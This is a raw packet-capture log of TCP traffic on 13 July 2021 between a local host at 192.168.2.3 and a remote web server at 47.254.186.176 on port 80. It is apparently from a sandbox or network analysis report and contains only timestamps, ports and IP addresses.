Jul 13, 2021 14:37:12.905077934 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.905114889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.905149937 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.905179977 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.905219078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.905251980 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.905940056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.905976057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.906012058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.906629086 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.906668901 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.906702042 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.907372952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.907413006 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.907460928 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.907475948 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.907546997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.907551050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.908880949 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.908982992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.908997059 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.910077095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.910115957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.910155058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.910173893 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.910192966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.910208941 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.911999941 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912043095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912077904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912086010 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.912116051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912134886 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.912143946 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912235022 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.912410021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912602901 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912642956 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912677050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.912679911 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912719011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912739038 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.912756920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912802935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912820101 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.912846088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.912926912 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.913460970 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913500071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913537979 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913559914 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.913574934 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913628101 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.913650990 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913687944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913726091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913738966 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.913764000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.913821936 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.914386034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914427042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914462090 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914500952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914521933 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.914539099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914576054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914587021 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.914613008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914632082 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.914649963 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.914726019 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.915399075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915501118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915541887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915577888 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915577888 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.915630102 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.915674925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915714979 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915750027 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915765047 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.915788889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.915843964 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.916384935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916423082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916469097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916486979 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.916511059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916548967 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916562080 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.916588068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916625977 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916639090 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.916661978 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.916711092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.917217970 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.917371988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.917428017 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.919329882 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.919393063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.919436932 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.919475079 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.919500113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.919593096 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.920943022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.920989037 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.921067953 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.921112061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.922775984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.922827959 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.922873020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.922878027 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.922910929 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.922950029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.922960043 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.923027992 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.923580885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.923619986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.923656940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.923686981 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.923712969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.923768044 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.924395084 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.924442053 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.924519062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.924571037 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.924585104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.925323963 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.925367117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.925432920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.925487041 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.926800966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.926851034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.926892042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.926929951 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.926934958 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.927052021 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.927911997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.927956104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.928036928 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.930176020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930217981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930255890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930285931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930339098 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.930368900 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.930418015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930460930 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930497885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930531025 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.930533886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930610895 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.930774927 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930852890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930893898 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930929899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930979013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.930979013 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.931016922 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.931021929 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931061029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931087971 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.931099892 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931282997 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.931729078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931790113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931833982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931878090 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.931889057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931943893 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.931993961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932018042 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.932046890 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.932100058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932152987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932233095 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.932488918 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932528019 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932574987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932605982 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.932617903 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932643890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932712078 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.932878017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.932948112 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.932996035 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933052063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933090925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933115005 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.933129072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933167934 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933203936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933209896 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.933268070 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.933283091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933320999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933360100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933382034 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.933707952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933794975 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.933798075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933937073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.933984995 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934006929 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.934026957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934066057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934103966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934142113 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.934142113 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934178114 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.934180021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934218884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934256077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934256077 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.934335947 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.934766054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934806108 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934843063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.934873104 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.934923887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935017109 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.935085058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935161114 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935204983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935230970 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.935718060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935755014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935791969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935796976 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.935827971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.935858965 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.935945988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936002970 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936006069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936073065 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936120033 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936129093 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936176062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936232090 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936233997 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936289072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936336040 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936343908 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936383963 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936440945 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936470985 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936507940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936538935 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936559916 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936572075 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936603069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936624050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936634064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936665058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936683893 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.936933994 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.936969995 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937005043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937021971 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937055111 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937062979 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937104940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937149048 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937159061 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937185049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937216043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937237024 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937247992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937283039 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937303066 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937328100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937371016 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937381029 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937815905 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937876940 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937882900 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937911987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937942982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.937978029 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.937982082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.938030005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.938040972 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.939138889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.939210892 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.968321085 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968379974 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968425035 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968462944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968502045 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968524933 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.968563080 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.968789101 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968884945 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968890905 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.968945980 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.968980074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969017029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969067097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969099045 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969170094 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.969213963 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.969222069 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.969743967 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969794035 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969839096 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969878912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969886065 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.969930887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.969939947 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.970062971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.970099926 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.970146894 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.970617056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.970675945 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.970696926 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.970717907 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.970743895 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.970779896 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.971013069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971071005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971075058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.971100092 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971240044 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.971590042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971610069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971621037 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971707106 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.971716881 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971776009 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:12.971779108 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971797943 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971810102 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:12.971882105 CEST	49710	80	192.168.2.3	47.254.186.176
